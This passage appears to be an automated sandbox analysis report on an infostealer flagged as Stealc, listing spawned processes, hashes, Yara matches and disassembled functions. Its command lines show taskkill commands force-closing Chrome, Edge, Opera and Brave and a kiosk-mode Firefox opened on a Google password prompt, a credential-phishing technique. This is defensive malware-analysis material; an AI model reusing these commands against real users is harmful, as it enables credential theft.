Target ID:	36
Start time:	00:53:46
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1003096001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1003096001\num.exe"
Imagebase:	0x860000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.3081504525.0000000000861000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.3081627351.000000000087E000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000000.3066155076.000000000087E000.00000002.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000000.3066029603.0000000000861000.00000080.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.3084290708.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	00:53:49
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:53:49
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:53:49
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe"
Imagebase:	0xc50000
File size:	2'778'624 bytes
MD5 hash:	481C8B24C57DA4A1A61F3BA321F84C5C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	00:53:49
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:53:49
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:53:51
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:53:51
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	00:53:51
Start date:	01/11/2024
Path:	C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe"
Imagebase:	0x850000
File size:	1'917'440 bytes
MD5 hash:	B2151E57C12C984B6273F6CDC418F523
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	00:53:52
Start date:	01/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	00:53:52
Start date:	01/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	00:53:53
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	00:53:53
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	00:53:54
Start date:	01/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2120 -parentBuildID 20230927232528 -prefsHandle 2024 -prefMapHandle 2016 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d420dc28-e6f0-4495-8bd5-85d99979d19a} 1656 "\\.\pipe\gecko-crash-server-pipe.1656" 17424e70310 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 017728D0 Relevance: 4.2, Strings: 3, Instructions: 494COMMON

Download Yara Rule

Strings

gP9, xrefs: 01772A52
r, xrefs: 01772907
g 6, xrefs: 01772A22

Memory Dump Source

Source File: 00000000.00000003.2123562004.000000000176D000.00000004.00000020.00020000.00000000.sdmp, Offset: 01772000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_176d000_file.jbxd

Similarity

API ID:
String ID: g 6$gP9$r
API String ID: 0-4105553547
Opcode ID: 401c797d2c932445415f864d3a02bc0238f3954e6e71df1a1a906e3d7cbf774a
Instruction ID: 9a556f3a260c3168a5b85ef96e2b0cc99293b5e1fe6d528c44a3be683aab52c8
Opcode Fuzzy Hash: 401c797d2c932445415f864d3a02bc0238f3954e6e71df1a1a906e3d7cbf774a
Instruction Fuzzy Hash: 52F199A680E7C15FD7238B348C69690BFB1AF23214B0E86DBC4D4CF4A3E2595959C763

Function 017728D0 Relevance: 4.2, Strings: 3, Instructions: 494COMMON

Download Yara Rule

Strings

r, xrefs: 01772907
gP9, xrefs: 01772A52
g 6, xrefs: 01772A22

Memory Dump Source

Source File: 00000000.00000003.2123562004.000000000176D000.00000004.00000020.00020000.00000000.sdmp, Offset: 0176D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_176d000_file.jbxd

Similarity

API ID:
String ID: g 6$gP9$r
API String ID: 0-4105553547
Opcode ID: 401c797d2c932445415f864d3a02bc0238f3954e6e71df1a1a906e3d7cbf774a
Instruction ID: 9a556f3a260c3168a5b85ef96e2b0cc99293b5e1fe6d528c44a3be683aab52c8
Opcode Fuzzy Hash: 401c797d2c932445415f864d3a02bc0238f3954e6e71df1a1a906e3d7cbf774a
Instruction Fuzzy Hash: 52F199A680E7C15FD7238B348C69690BFB1AF23214B0E86DBC4D4CF4A3E2595959C763

Analysis Process: CT1ROX8L8OCI432H.exePID: 6656, Parent PID: 3440COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	38.7%
Signature Coverage:	19.4%
Total number of Nodes:	31
Total number of Limit Nodes:	1

Executed Functions

Function 00442177 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 87
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0044217C

Strings

C, xrefs: 0044243A

Memory Dump Source

Source File: 00000003.00000002.2413206358.000000000043B000.00000040.00000001.01000000.00000006.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000003.00000002.2412836193.00000000002C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412892470.00000000002C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412920092.00000000002CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412948878.00000000002D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412971688.00000000002D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412997117.00000000002D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413151852.000000000042A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413180121.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413253840.000000000044D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413275696.000000000044E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413299321.000000000044F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413324797.0000000000451000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413348596.000000000045B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413371521.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413395013.0000000000461000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413417459.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413446565.0000000000477000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413476803.0000000000478000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413499456.000000000047A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413528274.000000000048D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413559962.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413614377.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413636311.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413761059.00000000004AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413784655.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413809220.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413835584.00000000004BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413858288.00000000004C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413880563.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413902158.00000000004C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413924537.00000000004C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413949897.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413973279.00000000004CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413996240.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414020046.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414044018.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414071673.00000000004EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414095626.00000000004EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414121057.00000000004EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414145900.00000000004F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414169275.00000000004F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414195968.0000000000505000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414217691.0000000000506000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414244321.0000000000510000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414276912.0000000000514000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414310374.0000000000528000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414339708.0000000000529000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414370184.000000000052A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414399638.000000000052B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414437846.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414464139.0000000000549000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.0000000000555000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.000000000055D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414539479.000000000056C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414564454.000000000056E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 5c61fcec73323fc9034551f493ca75aa422e1297bdae6b1807c68efd62cc2682
Instruction ID: 623cdc5d0b94c954401b39dcafbfe26dc75fac6d23de1ca1a4413a37280012d8
Opcode Fuzzy Hash: 5c61fcec73323fc9034551f493ca75aa422e1297bdae6b1807c68efd62cc2682
Instruction Fuzzy Hash: 46217B3140D2976EF701DF709B815EB7BA0DE873287A0455BF481CB183D2E90C06976D

Function 06DB15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 06DB18C8

Memory Dump Source

Source File: 00000003.00000002.2416696240.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 7ed0968ad4638cacf7bd7e8d99dd90e08529cb2810962322a83f60eeb1cf9238
Instruction ID: f90248d89dad9eeaf964c36efbe0f850400fb5ca863bfbfc32946f1641205bc2
Opcode Fuzzy Hash: 7ed0968ad4638cacf7bd7e8d99dd90e08529cb2810962322a83f60eeb1cf9238
Instruction Fuzzy Hash: 4FC14571D10659DFDB90CFA8CC957EEBBB1BB48310F148629E866E7288D7749881CB81

Function 002CB7C6 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 002CB936

Memory Dump Source

Source File: 00000003.00000002.2412920092.00000000002CA000.00000040.00000001.01000000.00000006.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000003.00000002.2412836193.00000000002C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412892470.00000000002C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412948878.00000000002D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412971688.00000000002D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412997117.00000000002D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413151852.000000000042A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413180121.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.000000000043B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413253840.000000000044D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413275696.000000000044E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413299321.000000000044F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413324797.0000000000451000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413348596.000000000045B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413371521.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413395013.0000000000461000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413417459.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413446565.0000000000477000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413476803.0000000000478000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413499456.000000000047A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413528274.000000000048D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413559962.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413614377.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413636311.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413761059.00000000004AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413784655.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413809220.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413835584.00000000004BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413858288.00000000004C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413880563.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413902158.00000000004C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413924537.00000000004C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413949897.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413973279.00000000004CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413996240.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414020046.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414044018.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414071673.00000000004EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414095626.00000000004EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414121057.00000000004EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414145900.00000000004F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414169275.00000000004F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414195968.0000000000505000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414217691.0000000000506000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414244321.0000000000510000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414276912.0000000000514000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414310374.0000000000528000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414339708.0000000000529000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414370184.000000000052A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414399638.000000000052B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414437846.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414464139.0000000000549000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.0000000000555000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.000000000055D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414539479.000000000056C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414564454.000000000056E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 2fb9eb5f46292da2a611c0bf3090f30930d0861c358ca579815c8ca197de9432
Instruction ID: bec711a9dc83c1381769e84fb6b3ac8eb64d46d38689974862963534b15abac2
Opcode Fuzzy Hash: 2fb9eb5f46292da2a611c0bf3090f30930d0861c358ca579815c8ca197de9432
Instruction Fuzzy Hash: 64E0C2715788C99ACB179F208843F9A361DEB42700FA0032CFA019AE49CB7D4D328F95

Function 0044C6FB Relevance: 4.6, APIs: 3, Instructions: 102
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 004502AE
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 004502D5
GetNativeSystemInfo.KERNELBASE(?), ref: 0045032C

Memory Dump Source

Source File: 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000003.00000002.2412836193.00000000002C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412892470.00000000002C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412920092.00000000002CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412948878.00000000002D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412971688.00000000002D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412997117.00000000002D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413151852.000000000042A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413180121.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.000000000043B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413253840.000000000044D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413275696.000000000044E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413299321.000000000044F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413324797.0000000000451000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413348596.000000000045B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413371521.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413395013.0000000000461000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413417459.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413446565.0000000000477000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413476803.0000000000478000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413499456.000000000047A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413528274.000000000048D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413559962.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413614377.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413636311.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413761059.00000000004AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413784655.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413809220.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413835584.00000000004BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413858288.00000000004C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413880563.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413902158.00000000004C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413924537.00000000004C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413949897.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413973279.00000000004CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413996240.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414020046.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414044018.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414071673.00000000004EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414095626.00000000004EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414121057.00000000004EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414145900.00000000004F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414169275.00000000004F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414195968.0000000000505000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414217691.0000000000506000.00000040.00000001.01000000.00000006.sdmpDownload File
